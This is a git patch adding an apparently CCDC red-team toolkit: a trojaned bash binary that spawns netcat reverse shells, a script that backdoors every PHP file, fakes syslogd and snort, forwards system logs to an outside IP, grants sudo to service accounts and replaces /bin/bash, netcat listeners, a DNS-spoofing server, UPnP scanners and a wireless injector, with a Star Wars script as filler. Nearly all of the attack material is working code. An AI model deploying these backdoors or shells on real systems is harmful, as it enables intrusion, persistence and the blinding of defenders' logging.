From 184b2b652c1455e147754536bc2f622ed75cfc76 Mon Sep 17 00:00:00 2001 From: Russ Handorf Date: Sat, 13 Feb 2016 22:05:21 -0500 Subject: [PATCH] initial commit --- ccdc/bash.c | 116 + ccdc/hack.sh | 51 + ccdc/server.sh | 12 + ccdc/snort.c | 143 + ccdc/syslogd.c | 50 + dns/dns.pl | 58 + upnp/find-upnp-fw.pl | 45 + upnp/find-upnp.pl | 45 + upnp/upnp.pl | 44 + wireless-inject/party.pl | 21 + wireless-inject/starwars.txt | 6584 ++++++++++++++++++++++++++++++++++ wireless/ids.pl | 84 + wireless/wifiabuse.sql | 110 + 13 files changed, 7363 insertions(+) create mode 100644 ccdc/bash.c create mode 100755 ccdc/hack.sh create mode 100755 ccdc/server.sh create mode 100644 ccdc/snort.c create mode 100644 ccdc/syslogd.c create mode 100755 dns/dns.pl create mode 100755 upnp/find-upnp-fw.pl create mode 100755 upnp/find-upnp.pl create mode 100755 upnp/upnp.pl create mode 100755 wireless-inject/party.pl create mode 100644 wireless-inject/starwars.txt create mode 100644 wireless/ids.pl create mode 100644 wireless/wifiabuse.sql diff --git a/ccdc/bash.c b/ccdc/bash.c new file mode 100644 index 0000000..adbb36b --- /dev/null +++ b/ccdc/bash.c @@ -0,0 +1,116 @@ +#include +#include +#include +#include +#include + +int count, r, c; + +unsigned time_seed() +{ + time_t now = time ( 0 ); + unsigned char *p = (unsigned char *)&now; + unsigned seed = 0; + size_t i; + + for ( i = 0; i < sizeof now; i++ ) + seed = seed * ( 100 + 2U ) + p[i]; + + return seed; +} + +unsigned help() { + printf("GNU bash, version 3.2.39(1)-release-(i486-pc-linux-gnu)"); + printf("Usage: bash [GNU long option] [option] ..."); + printf(" bash [GNU long option] [option] script-file ..."); + printf("GNU long options:"); + printf(" --debug"); + printf(" --debugger"); + printf(" --dump-po-strings"); + printf(" --dump-strings"); + printf(" --help"); + printf(" --init-file"); + printf(" --login"); + printf(" --noediting"); + printf(" --noprofile"); + printf(" --norc"); + printf(" --posix"); + printf(" --protected"); + printf(" --rcfile"); + printf(" --restricted"); + printf(" --verbose"); + printf(" --version"); + printf(" --wordexp"); + printf("Shell options:"); + printf(" -irsD or -c command or -O shopt_option (invocation only)"); + printf(" -abefhkmnptuvxBCHP or -o option"); + printf("Type `bash -c help set' for more information about shell options."); + printf("Type `bash -c help' for more information about shell builtin commands."); + printf("Use the `bashbug' command to report bugs."); + + exit(0); +} + +int main(int argc, char *argv[ ]) { + srand ( time_seed() ); + while ((c = getopt(argc, argv, ":hbf:Vbf:?")) != -1) { + switch(c) { + case 'h': + help(); + break; + case 'V': + help(); + break; + case '?': + help(); + break; + } + } + srand ( time_seed() ); + r = rand() %(10-1)+1; + pid_t pid; + pid=fork(); + if (pid<0) { + //perror("Fork Failed\n"); + return 1; + } else if (pid == 0) { + switch(r) { + case 1: + execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31337& /bin/ksh", NULL); + break; + case 2: + execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31338& /bin/ksh", NULL); + break; + case 3: + execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31339& /bin/ksh", NULL); + break; + case 4: + execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31340& /bin/ksh", NULL); + break; + case 5: + execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31341& /bin/ksh", NULL); + break; + case 6: + execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31342& /bin/ksh", NULL); + break; + case 7: + execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31343& /bin/ksh", NULL); + break; + case 8: + execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31344& /bin/ksh", NULL); + break; + case 9: + execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31345& /bin/ksh", NULL); + break; + case 10: + execlp("/bin/sh","sh","-c","nc -e /bin/sh localhost 31346& /bin/ksh", NULL); + break; + } + //execlp("/bin/bash",NULL); + return 0; + } else { + wait(NULL); + //printf("Child Complete\n"); + } +} + diff --git a/ccdc/hack.sh b/ccdc/hack.sh new file mode 100755 index 0000000..ff09c2e --- /dev/null +++ b/ccdc/hack.sh @@ -0,0 +1,51 @@ +#!/bin/bash + +####### +#BEFORE YOUR RUN +# +#Edit the following +#1. Add your IP address below for the /etc/hosts modification to reference 'linux' and open Syslog on your system +#2. Add your SSH host keys +#3. Profit! + +#Find all PHP scripts and install a backdoor http://url/phpscript.php?hfb=ls +for i in `find / -name "*.php"` +do + echo "
" >> $i.tmp + cat $i >> $i.tmp + mv $i.tmp $i +done + +#Move syslogd +mv `find / -name syslogd` /usr/sbin/init +#Replace syslogd with dummy process +mv syslogd /sbin/syslogd + +#Replace snort with dummy process +mv snort `find / -name snort` + +#Forward all local system events to us +echo "" >> /etc/syslogd.conf +echo "*.* @linux" >> /etc/syslogd.conf +#Alias us in hosts file +echo "208.18.90.66 linux" >> /etc/hosts + +#Backdoor users +echo "mysql ALL=(ALL) ALL" >> /etc/sudoers +echo "apache ALL=(ALL) ALL" >> /etc/sudoers +echo "asterisk ALL=(ALL) ALL" >> /etc/sudoers + +#Add ssh keys +echo "" >> /root/.ssh/authorized_keys + +#Backup and copy .bash_history on system logout +cp /root/.bash_history /var/log/ksyslog.log +echo "mv /var/log/ksyslog.log /root/.bash_history" >> /root/.bash_logout + +#sh copies +cp /bin/sh /bin/false +cp /bin/sh /sbin/false +mv /bin/bash /bin/ksh + +#Install backdoor +mv bash /bin/bash diff --git a/ccdc/server.sh b/ccdc/server.sh new file mode 100755 index 0000000..3a73e89 --- /dev/null +++ b/ccdc/server.sh @@ -0,0 +1,12 @@ +#!/bin/sh + +screen -dm nc -l -p 31337 -v +screen -dm nc -l -p 31338 -v +screen -dm nc -l -p 31339 -v +screen -dm nc -l -p 31340 -v +screen -dm nc -l -p 31341 -v +screen -dm nc -l -p 31342 -v +screen -dm nc -l -p 31343 -v +screen -dm nc -l -p 31344 -v +screen -dm nc -l -p 31345 -v +screen -dm nc -l -p 31346 -v diff --git a/ccdc/snort.c b/ccdc/snort.c new file mode 100644 index 0000000..fc46533 --- /dev/null +++ b/ccdc/snort.c @@ -0,0 +1,143 @@ +#include +#include + +int count, r, c; + +unsigned time_seed() +{ + time_t now = time ( 0 ); + unsigned char *p = (unsigned char *)&now; + unsigned seed = 0; + size_t i; + + for ( i = 0; i < sizeof now; i++ ) + seed = seed * ( 100 + 2U ) + p[i]; + + return seed; +} + +unsigned help() { +printf("Options:\n"); +printf(" -A Set alert mode: fast, full, console, test or none "); +printf(" (alert file alerts only)\n"); +printf(" \"unsock\" enables UNIX socket logging (experimental).\n"); +printf(" -b Log packets in tcpdump format (much faster!)\n"); +printf(" -B Obfuscated IP addresses in alerts and packet dumps using CIDR mask\n"); +printf(" -c Use Rules File \n"); +printf(" -C Print out payloads with character data only (no hex)\n"); +printf(" -d Dump the Application Layer\n"); +printf(" -D Run Snort in background (daemon) mode\n"); +printf(" -e Display the second layer header info\n"); +printf(" -f Turn off fflush() calls after binary log writes\n"); +printf(" -F Read BPF filters from file \n"); +printf(" -g Run snort gid as group (or gid) after initialization\n"); +printf(" -G <0xid> Log Identifier (to uniquely id events for multiple snorts)\n"); +printf(" -h Home network = \n"); +printf(" -H Make hash tables deterministic.\n"); +printf(" -i Listen on interface \n"); +printf(" -I Add Interface name to alert output\n"); +printf(" -J ipfw divert socket to listen on vice libpcap (FreeBSD only)\n"); +printf(" -k Checksum mode (all,noip,notcp,noudp,noicmp,none)\n"); +printf(" -K Logging mode (pcap[default],ascii,none)\n"); +printf(" -l Log to directory \n"); +printf(" -L Log to this tcpdump file\n"); +printf(" -M Log messages to syslog (not alerts)\n"); +printf(" -m Set umask = \n"); +printf(" -n Exit after receiving packets\n"); +printf(" -N Turn off logging (alerts still work)\n"); +printf(" -o Change the rule testing order to Pass|Alert|Log\n"); +printf(" -O Obfuscate the logged IP addresses\n"); +printf(" -p Disable promiscuous mode sniffing\n"); +printf(" -P Set explicit snaplen of packet (default: )\n"); +printf(" -q Quiet. Don't show banner and status report\n"); +printf(" -Q Use ip_queue for input vice libpcap (iptables only)\n"); +printf(" -r Read and process tcpdump file \n"); +printf(" -R Include 'id' in snort_intf.pid file name\n"); +printf(" -s Log alert messages to syslog\n"); +printf(" -S Set rules file variable n equal to value v\n"); +printf(" -t Chroots process to after initialization\n"); +printf(" -T Test and report on the current Snort configuration\n"); +printf(" -u Run snort uid as user (or uid) after initialization\n"); +printf(" -U Use UTC for timestamps\n"); +printf(" -v Be verbose\n"); +printf(" -V Show version number\n"); +printf(" -X Dump the raw packet data starting at the link layer\n"); +printf(" -x Exit if Snort configuration problems occur\n"); +printf(" -y Include year in timestamp in the alert and log files\n"); +printf(" -Z Set the performonitor preprocessor file path and name\n"); +printf(" -? Show this information\n"); +printf(" are standard BPF options, as seen in TCPDump\n"); +printf("\n"); +printf("Longname options and their corresponding single char version\n"); +printf(" --logid <0xid> Same as -G\n"); +printf(" --perfmon-file Same as -Z\n"); +printf(" --pid-path Specify the directory for the Snort PID file\n"); +printf(" --snaplen Same as -P\n"); +printf(" --help Same as -?\n"); +printf(" --version Same as -V\n"); +printf(" --alert-before-pass Process alert, drop, sdrop, or reject before pass, default is pass before alert, drop,...\n"); +printf(" --treat-drop-as-alert Converts drop, sdrop, and reject rules into alert rules during startup\n"); +printf(" --process-all-events Process all queued events (drop, alert,...), default stops after 1st action group\n"); +printf(" --dynamic-engine-lib Load a dynamic detection engine\n"); +printf(" --dynamic-engine-lib-dir Load all dynamic engines from directory\n"); +printf(" --dynamic-detection-lib Load a dynamic rules library\n"); +printf(" --dynamic-detection-lib-dir Load all dynamic rules libraries from directory\n"); +printf(" --dump-dynamic-rules Creates stub rule files of all loaded rules libraries\n"); +printf(" --dynamic-preprocessor-lib Load a dynamic preprocessor library\n"); +printf(" --dynamic-preprocessor-lib-dir Load all dynamic preprocessor libraries from directory\n"); +printf(" --dump-dynamic-preproc-genmsg Creates gen-msg.map files of all loaded preprocessor libraries\n"); +printf(" --create-pidfile Create PID file, even when not in Daemon mode\n"); +printf(" --nolock-pidfile Do not try to lock Snort PID file\n"); +printf(" --disable-inline-initialization Do not perform the IPTables initialization in inline mode.\n"); +printf(" --disable-inline-init-failopen Do not fail open and pass packets while initializing with inline mode.\n"); +printf(" --disable-attribute-reload-thread Do not create a thread to reload the attribute table\n"); +printf(" --pcap-single Same as -r.\n"); +printf(" --pcap-file file that contains a list of pcaps to read - read mode is implied.\n"); +printf(" --pcap-list \"\" a space separated list of pcaps to read - read mode is implied.\n"); +printf(" --pcap-dir a directory to recurse to look for pcaps - read mode is implied.\n"); +printf(" --pcap-filter filter to apply when getting pcaps from file or directory.\n"); +printf(" --pcap-no-filter reset to use no filter when getting pcaps from file or directory.\n"); +printf(" --pcap-loop this option will read the pcaps specified on command line continuously.\n"); +printf(" for times. A value of 0 will read until Snort is terminated.\n"); +printf(" --pcap-reset if reading multiple pcaps, reset snort to post-configuration state before reading next pcap.\n"); +printf(" --pcap-show print a line saying what pcap is currently being read.\n"); +printf(" --exit-check Signal termination after callbacks from pcap_dispatch(), showing the time it\n"); +printf(" takes from signaling until pcap_close() is called.\n"); +printf(" --conf-error-out Same as -x\n"); + + exit(0); +} + +int main(int argc, char *argv[ ]) { + //printf("goodtimes\n"); + sleep(1); + //usleep + //printf("now"); + srand ( time_seed() ); + while ((c = getopt(argc, argv, ":hbf:Vbf:?")) != -1) { + switch(c) { + case 'h': + help(); + break; + case 'V': + help(); + break; + case '?': + help(); + break; + } + } + while(1) { + //printf("cpu\n"); + //srand ( time_seed() ); + r = rand() %(1000-1)+1; + while (count<(rand()+rand())) { + count++; + } + //printf("%d - %d\n",r, time_seed()); + usleep(r); + r=0; + count=0; + } +} + diff --git a/ccdc/syslogd.c b/ccdc/syslogd.c new file mode 100644 index 0000000..751041f --- /dev/null +++ b/ccdc/syslogd.c @@ -0,0 +1,50 @@ +#include +#include + +int count, r, c; + +unsigned time_seed() +{ + time_t now = time ( 0 ); + unsigned char *p = (unsigned char *)&now; + unsigned seed = 0; + size_t i; + + for ( i = 0; i < sizeof now; i++ ) + seed = seed * ( 100 + 2U ) + p[i]; + + return seed; +} + +unsigned help() { + printf("usage: syslogd [-drvh] [-l hostlist] [-m markinterval] [-n] [-p path] [-s domainlist] [-f conffile]\n"); + exit(0); +} + +int main(int argc, char *argv[ ]) { + //printf("goodtimes\n"); + sleep(1); + //usleep + //printf("now"); + srand ( time_seed() ); + while ((c = getopt(argc, argv, ":hbf:")) != -1) { + switch(c) { + case 'h': + help(); + break; + } + } + while(1) { + //printf("cpu\n"); + //srand ( time_seed() ); + r = rand() %(1000-1)+1; + while (count<(rand()+rand())) { + count++; + } + //printf("%d - %d\n",r, time_seed()); + usleep(r); + r=0; + count=0; + } +} + diff --git a/dns/dns.pl b/dns/dns.pl new file mode 100755 index 0000000..8d78025 --- /dev/null +++ b/dns/dns.pl @@ -0,0 +1,58 @@ +#!/usr/bin/perl + +use warnings; +use Net::DNS; +use Net::DNS::Nameserver; + +sub reply_handler { + my ($qname, $qclass, $qtype, $peerhost,$query,$conn) = @_; + my ($rcode, @ans, @auth, @add); + + print "Received query from $peerhost to ". $conn->{sockhost}. "\n"; +# $query->print; + +# if ($qtype eq "A" && $qname eq "foo.example.com" ) { +# my ($ttl, $rdata) = (30, "10.1.2.3"); +# my $rr = new Net::DNS::RR("$qname $ttl $qclass $qtype $rdata"); +# push @ans, $rr; +# $rcode = "NOERROR"; +# }elsif( $qname eq "foo.example.com" ) { +# $rcode = "NOERROR"; +# }else + + if($qtype eq "A") { + my $res = Net::DNS::Resolver->new; + my $answer = $res->search("$qname"); + my $random_number = rand(100); + my ($ttl, $rdata); + my $ip; + foreach $record ($answer->answer) { + $ip=$record->address; + } + + if ($random_number > 50) { + ($ttl, $rdata) = (30, "205.196.209.62"); + } else { + ($ttl, $rdata) = (30, "$ip"); + } + print "$random_number - ".$ip."\n"; + + #my ($ttl, $rdata) = (30, "10.1.2.3"); + my $rr = new Net::DNS::RR("$qname $ttl $qclass $qtype $rdata"); + push @ans, $rr; + $rcode = "NOERROR"; + }else{ + $rcode = "NXDOMAIN"; + } + + # mark the answer as authoritive (by setting the 'aa' flag + return ($rcode, \@ans, \@auth, \@add, { aa => 1 }); +} + +my $ns = new Net::DNS::Nameserver( + LocalPort => 53, + ReplyHandler => \&reply_handler, + Verbose => 0 +) || die "couldn't create nameserver object\n"; + +$ns->main_loop; diff --git a/upnp/find-upnp-fw.pl b/upnp/find-upnp-fw.pl new file mode 100755 index 0000000..395b3d2 --- /dev/null +++ b/upnp/find-upnp-fw.pl @@ -0,0 +1,45 @@ +#!/usr/bin/perl + +use Net::UPnP::ControlPoint; + + my $obj = Net::UPnP::ControlPoint->new(); + + @dev_list = $obj->search(st =>'upnp:rootdevice', mx => 3); + + $devNum= 0; + foreach $dev (@dev_list) { + $device_type = $dev->getdevicetype(); + if ($device_type ne 'urn:schemas-upnp-org:device:WANConnectionDevice:1') { + next; + } + print "[$devNum] : " . $dev->getfriendlyname() . "\n"; + unless ($dev->getservicebyname('urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1')) { + next; + } + $condir_service = $dev->getservicebyname('urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1'); + unless (defined(condir_service)) { + next; + } + %action_in_arg = ( + 'ObjectID' => 0, + 'BrowseFlag' => 'BrowseDirectChildren', + 'Filter' => '*', + 'StartingIndex' => 0, + 'RequestedCount' => 0, + 'SortCriteria' => '', + ); + $action_res = $condir_service->postcontrol('Browse', \%action_in_arg); + unless ($action_res->getstatuscode() == 200) { + next; + } + $actrion_out_arg = $action_res->getargumentlist(); + unless ($actrion_out_arg->{'Result'}) { + next; + } + $result = $actrion_out_arg->{'Result'}; + while ($result =~ m/(.*?)<\/dc:title>/sgi) { + print "\t$1\n"; + } + $devNum++; + } + diff --git a/upnp/find-upnp.pl b/upnp/find-upnp.pl new file mode 100755 index 0000000..cf048c3 --- /dev/null +++ b/upnp/find-upnp.pl @@ -0,0 +1,45 @@ +#!/usr/bin/perl + +use Net::UPnP::ControlPoint; + + my $obj = Net::UPnP::ControlPoint->new(); + + @dev_list = $obj->search(st =>'upnp:rootdevice', mx => 3); + + $devNum= 0; + foreach $dev (@dev_list) { + $device_type = $dev->getdevicetype(); + #if ($device_type ne 'urn:schemas-upnp-org:device:MediaServer:1') { + # next; + #} + print "[$devNum] : " . $dev->getfriendlyname() . "\n"; + unless ($dev->getservicebyname('urn:schemas-upnp-org:service:ContentDirectory:1')) { + next; + } + $condir_service = $dev->getservicebyname('urn:schemas-upnp-org:service:ContentDirectory:1'); + unless (defined(condir_service)) { + next; + } + %action_in_arg = ( + 'ObjectID' => 0, + 'BrowseFlag' => 'BrowseDirectChildren', + 'Filter' => '*', + 'StartingIndex' => 0, + 'RequestedCount' => 0, + 'SortCriteria' => '', + ); + $action_res = $condir_service->postcontrol('Browse', \%action_in_arg); + unless ($action_res->getstatuscode() == 200) { + next; + } + $actrion_out_arg = $action_res->getargumentlist(); + unless ($actrion_out_arg->{'Result'}) { + next; + } + $result = $actrion_out_arg->{'Result'}; + while ($result =~ m/(.*?)<\/dc:title>/sgi) { + print "\t$1\n"; + } + $devNum++; + } + diff --git a/upnp/upnp.pl b/upnp/upnp.pl new file mode 100755 index 0000000..eea8daa --- /dev/null +++ b/upnp/upnp.pl @@ -0,0 +1,44 @@ +#!/usr/bin/perl + +use Net::UPnP::ControlPoint; + +my $obj = Net::UPnP::ControlPoint->new(); + +@dev_list = $obj->search(st =>'upnp:rootdevice', mx => 3); + +$devNum= 0; +foreach $dev (@dev_list) { + $device_type = $dev->getdevicetype(); + if ($device_type ne 'urn:schemas-upnp-org:device:MediaServer:1') { + next; + } + print "[$devNum] : " . $dev->getfriendlyname() . "\n"; + unless ($dev->getservicebyname('urn:schemas-upnp-org:service:ContentDirectory:1')) { + next; + } + $condir_service = $dev->getservicebyname('urn:schemas-upnp-org:service:ContentDirectory:1'); + unless (defined(condir_service)) { + next; + } + %action_in_arg = ( + 'ObjectID' => 0, + 'BrowseFlag' => 'BrowseDirectChildren', + 'Filter' => '*', + 'StartingIndex' => 0, + 'RequestedCount' => 0, + 'SortCriteria' => '', + ); + $action_res = $condir_service->postcontrol('Browse', \%action_in_arg); + unless ($action_res->getstatuscode() == 200) { + next; + } + $actrion_out_arg = $action_res->getargumentlist(); + unless ($actrion_out_arg->{'Result'}) { + next; + } + $result = $actrion_out_arg->{'Result'}; + while ($result =~ m/(.*?)<\/dc:title>/sgi) { + print "\t$1\n"; + } + $devNum++; +} diff --git a/wireless-inject/party.pl b/wireless-inject/party.pl new file mode 100755 index 0000000..deb9aa7 --- /dev/null +++ b/wireless-inject/party.pl @@ -0,0 +1,21 @@ +#!/usr/bin/perl + +use Net::Lorcon; + +#my $tx = Net::Lorcon->new("eth1", "prism54"); + +print " - " . Net::Lorcon::resolvecard("eth1") . " - \n"; + +foreach (Net::Lorcon::getcardlist) { + print $_."\n"; + my $tx = Net::Lorcon->new("eth1", "$_"); + $tx->open; + + #open (FILE,"starwars.txt"); + #while () { +# print $_; + $tx->txpacket("zxcvbnmasdfghjklqwertyuuiop123456780"); + #sleep 1; + #} + $tx->close(); +} diff --git a/wireless-inject/starwars.txt b/wireless-inject/starwars.txt new file mode 100644 index 0000000..924bdb7 --- /dev/null +++ b/wireless-inject/starwars.txt @@ -0,0 +1,6584 @@ +Star Wars: A New Hope script + +STAR WARS +Episode IV + +A NEW HOPE + +From the JOURNAL OF THE WHILLS +by George Lucas + +Revised Fourth Draft +January 15, 1976 + +LUCASFILM LTD. + + +---------------------- + + +A long time ago, in a galaxy far, far, away... + + +A vast sea of stars serves as the backdrop for the main +title. War drums echo through the heavens as a rollup +slowly crawls into infinity. + + +It is a period of civil war. Rebel spaceships, striking from a +hidden base, have won their first victory against the evil Galactic +Empire. +During the battle, Rebel spies managed to steal secret plans to the +Empire's ultimate weapon, the Death Star, an armored space station +with enough power to destroy an entire planet. +Pursued by the Empire's sinister agents, Princess Leia races home +aboard her starship, custodian of the stolen plans that can save her +people and restore freedom to the galaxy... + + +The awesome yellow planet of Tatooine emerges from a total +eclipse, her two moons glowing against the darkness. A tiny +silver spacecraft, a Rebel Blockade Runner firing lasers from +the back of the ship, races through space. It is pursed by a +giant Imperial Stardestroyer. Hundreds of deadly laserbolts +streak from the Imperial Stardestroyer, causing the main solar +fin of the Rebel craft to disintegrate. + +INTERIOR: REBEL BLOCKADE RUNNER -- MAIN PASSAGEWAY. + +An explosion rocks the ship as two robots, Artoo-Detoo (R2-D2) +and See-Threepio (C-3PO) struggle to make their way through the +shaking, bouncing passageway. Both robots are old and battered. +Artoo is a short, claw-armed tripod. His face is a mass of +computer lights surrounding a radar eye. Threepio, on the +other hand, is a tall, slender robot of human proportions. He +has a gleaming bronze-like metallic surface of an Art Deco +design. +Another blast shakes them as they struggle along their +way. + +THREEPIO: Did you hear that? They've shut down the main reactor. We'll +be destroyed for sure. This is madness! + +Rebel troopers rush past the robots and take up positions +in the main passageway. They aim their weapons toward the door. + +THREEPIO: We're doomed! + +The little R2 unit makes a series of electronic sounds that +only another robot could understand. + +THREEPIO: There'll be no escape for the Princess this time. + +Artoo continues making beeping sounds. Tension mounts as +loud metallic latches clank and the scream of heavy equipment +are heard moving around the outside hull of the ship. + +THREEPIO: What's that? + +EXTERIOR: SPACECRAFT IN SPACE. + +The Imperial craft has easily overtaken the Rebel Blockade +Runner. The smaller Rebel ship is being drawn into the +underside dock of the giant Imperial starship. + +INTERIOR: REBEL BLOCKADE RUNNER. + +The nervous Rebel troopers aim their weapons. Suddenly a +tremendous blast opens up a hole in the main passageway and a +score of fearsome armored spacesuited stormtroopers make their +way into the smoke-filled corridor. +In a few minutes the entire passageway is ablaze with +laserfire. The deadly bolts ricochet in wild random patterns +creating huge explosions. Stormtroopers scatter and duck +behind storage lockers. Laserbolts hit several Rebel soldiers +who scream and stagger through the smoke, holding shattered +arms and faces. +An explosion hits near the robots. + +THREEPIO: I should have known better than to trust the logic of a +half-sized thermocapsulary dehousing assister... + +Artoo counters with an angry rebuttal as the battle rages +around the two hapless robots. + +EXTERIOR: TATOOINE -- DESERT WASTELAND -- DAY. + +A death-white wasteland stretches from horizon to horizon. The +tremendous heat of two huge twin suns settle on a lone figure, +Luke Skywalker, a farm boy with heroic aspirations who looks +much younger than his eighteen years. His shaggy hair and +baggy tunic give him the air of a simple but lovable lad with +a prize-winning smile. +A light wind whips at him as he adjusts several valves on a +large battered moisture vaporator which sticks out of the +desert floor much like an oil pipe with valves. He is aided by +a beatup tread-robot with six claw arms. The little robot +appears to be barely functioning and moves with jerky motions. +A bright sparkle in the morning sky catches Luke's eye and he +instinctively grabs a pair of electrobinoculars from his utility +belt. He stands transfixed for a few moments studying the +heavens, then dashed toward his dented, crudely repaired +Landspeeder (an auto-like transport that travels a few feet +above the ground on a magnetic-field). He motions for the tiny +robot to follow him. + +LUKE: Hurry up! Come with me! What are you waiting for?! Get in gear! + +The robot scoots around in a tight circle, stops short, and +smoke begins to pour out of every joint. Luke throws his arms +up in disgust. Exasperated, the young farm boy jumps into his +Landspeeder leaving the smoldering robot to hum madly. + +INTERIOR: REBEL BLOCKADE RUNNER -- MAIN HALLWAY. + +The awesome, seven-foot-tall Dark Lord of the Sith makes his +way into the blinding light of the main passageway. This is +Darth Vader, right hand of the Emperor. His face is obscured +by his flowing black robes and grotesque breath mask, which +stands out next to the fascist white armored suits of the +Imperial stormtroopers. Everyone instinctively backs away from +the imposing warrior and a deathly quiet sweeps through the +Rebel troops. Several of the Rebel troops break and run in a +frenzied panic. + +INTERIOR: REBEL BLOCKADE RUNNER. + +A woman's hand puts a card into an opening in Artoo's dome. +Artoo makes beeping sounds. + +INTERIOR: REBEL BLOCKADE RUNNER. + +Threepio stands in a hallway, somewhat bewildered. Artoo is +nowhere in sight. The pitiful screams of the doomed Rebel +soldiers can be heard in the distance. + +THREEPIO: Artoo! Artoo-Detoo, where are you? + +A familiar clanking sound attacks Threepio's attention and +he spots little Artoo at the end of the hallway in a +smoke-filled alcove. A beautiful young girl (about sixteen +years old) stands in front of Artoo. Surreal and out of place, +dreamlike and half hidden in the smoke, she finishes adjusting +something on Artoo's computer face, then watches as the little +robot joins his companion. + +THREEPIO: At last! Where have you been? + +Stormtroopers can be heard battling in the distance. + +THREEPIO: They're heading in this direction. What are we going to do? +We'll be sent to the spice mine of Kessel or smashed into who knows +what! + +Artoo scoots past his bronze friend and races down the +subhallway. Threepio chases after him. + +THREEPIO: Wait a minute, where are you going? + +Artoo responds with electronic beeps. + +INTERIOR: REBEL BLOCKADE RUNNER -- CORRIDOR + +The evil Darth Vader stands amid the broken and twisted bodies +of his foes. He grabs a wounded Rebel Officer by the neck as +an Imperial Officer rushes up to the Dark Lord. + +IMPERIAL OFFICER: The Death Star plans are not in the main computer. + +Vader squeezes the neck of the Rebel Officer, who struggles +in vain. + +VADER: Where are those transmissions you intercepted? + +Vader lifts the Rebel off his feet by his throat. + +VADER: What have you done with those plans? + +REBEL OFFICER: We intercepted no transmissions. Aaah....This is a +consular ship. Were on a diplomatic mission. + +VADER: If this is a consular ship...were is the Ambassador? + +The Rebel refuses to speak but eventually cries out as the +Dark Lord begins to squeeze the officer's throat, creating a +gruesome snapping and choking, until the soldier goes limp. +Vader tosses the dead soldier against the wall and turns to +his troops. + +VADER: Commander, tear this ship apart until you've found those plans +and bring me the Ambassador. I want her alive! + +The stormtroopers scurry into the subhallways. + +INTERIOR: REBEL BLOCKADE RUNNER -- SUBHALLWAY. + +The lovely young girl huddles in a small alcove as the +stormtroopers search through the ship. She is Princess Leia +Organa, a member of the Alderaan Senate. The fear in her eyes +slowly gives way to anger as the muted crushing sounds of the +approaching stormtroopers grow louder. One of the troopers +spots her. + +TROOPER: There she is! Set for stun! + +Leia steps from her hiding place and blasts a trooper with +her laser pistol. She starts to run but is felled by a +paralyzing ray. The troopers inspect her inert body. + +TROOPER: She'll be all right. Inform Lord Vader we have a prisoner. + +INTERIOR: REBEL BLOCKADE RUNNER -- SUBHALLWAY. + +Artoo stops before the small hatch of an emergency lifepod. He +snaps the seal on the main latch and a red warning light +begins to flash. The stubby astro-robot works his way into the +cramped four-man pod. + +THREEPIO: Hey, you're not permitted in there. It's restricted. You'll +be deactivated for sure.. + +Artoo beeps something to him. + +THREEPIO: Don't call me a mindless philosopher, you overweight glob of +grease! Now come out before somebody sees you. + +Artoo whistles something at his reluctant friend regarding +the mission he is about to perform. + +THREEPIO: Secret mission? What plans? What are you talking about? I'm +not getting in there! + +Artoo isn't happy with Threepio's stubbornness, and he beeps +and twangs angrily. + +A new explosion, this time very close, sends dust and debris +through the narrow subhallway. Flames lick at Threepio and, +after a flurry of electronic swearing from Artoo, the lanky +robot jumps into the lifepod. + +THREEPIO: I'm going to regret this. + +INTERIOR: IMPERIAL STARDESTROYER. + +On the main viewscreen, the lifepod carrying the two terrified +robots speeds away from the stricken Rebel spacecraft. + +CHIEF PILOT: There goes another one. + +CAPTAIN: Hold your fire. There are no life forms. It must have been +short-circuited. + +INTERIOR: LIFEPOD. + +Artoo and Threepio look out at the receding Imperial starship. +Stars circle as the pod rotates through the galaxy. + +THREEPIO: That's funny, the damage doesn't look as bad from out here. + +Artoo beeps an assuring response. + +THREEPIO: Are you sure this things safe? + +EXTERIOR: TATOOINE -- ANCHORHEAD SETTLEMENT -- POWER STATION -- DAY. + +Heat waves radiate from the dozen or so bleached white +buildings. Luke pilots his Landspeeder through the dusty empty +street of the tiny settlement. An old woman runs to get out of +the way of the speeding vehicle, shaking her fist at Luke as +he flies past. + +WOMAN: I've told you kids to slow down! + +INTERIOR: POWER STATION -- DAY. + +Luke bursts into the power station, waking The Fixer, a rugged +mechanic and Camie, a sexy, disheveled girl who has been +asleep in his lap. They grumbled as he races through the +office, yelling wildly. + +FIXER: Did I hear a young noise blast through here? + +CAMIE: It was just wormie on another rampage. + +Luke bounces into a small room behind the office where Deak +and Windy, two tough boys about the same age as Luke, are +playing a computer pool-like game with Biggs, a burly, +handsome boy a few years older than the rest. His flashy city +attire is a sharp contrast to the loose-fitting tunics of the +farm boys. A robot repairs some equipment in the background. + +LUKE: Shape it up you guys!.... Biggs? + +Luke's surprise at the appearance of Biggs gives way to +great joy and emotion. They give each other a great bear hug. + +LUKE: I didn't know you were back! When did you get in? + +BIGGS: Just now. I wanted to surprise you, hot shot. I thought you'd be +here...certainly didn't expect you to be out working. (he laughs.) + +LUKE: The Academy didn't change you much...but you're back so soon? +Hey, what happened, didn't you get your commission? + +Biggs has an air of cool that seems slightly phony. + +BIGGS: Of course I got it. Signed aboard The Rand Ecliptic last week. +First mate Biggs Darklighter at your service...(he salutes)...I just +came to say good-bye to all you unfortunate landlocked simpletons. + +Everyone laughs. The dazzling spectacle of his dashing +friend is almost too much for Luke, but suddenly he snaps out +of it. + +LUKE: I almost forgot. There's a battle going on! Right here in our +system. Come and look! + +DEAK: Not again! Forget it. + +EXTERIOR: TATOOINE -- ANCHORHEAD -- SETTLEMENT -- POWER STATION -- DAY. + +The group stumbles out into the stifling desert sun. Camie and +The Fixer complain and are forced to shade their eyes. Luke +has his binoculars out scanning the heavens. + +LUKE: There they are! + +Biggs takes the binoculars from Luke as the others strain +to see something with the naked eye. Through the binoculars +Biggs sees two small silver specks. + +BIGGS: That's no battle, hot shot...they're just sitting there! +Probably a freighter-tanker refueling. + +LUKE: But there was a lot of firing earlier... + +Camie grabs the binoculars away banging them against the +building in the process. Luke grabs them. + +LUKE: Hey, easy with those... + +CAMIE: Don't worry about it, Wormie. + +The Fixer gives Luke a hard look and the young farm boy +shrugs his shoulders in resignation. + 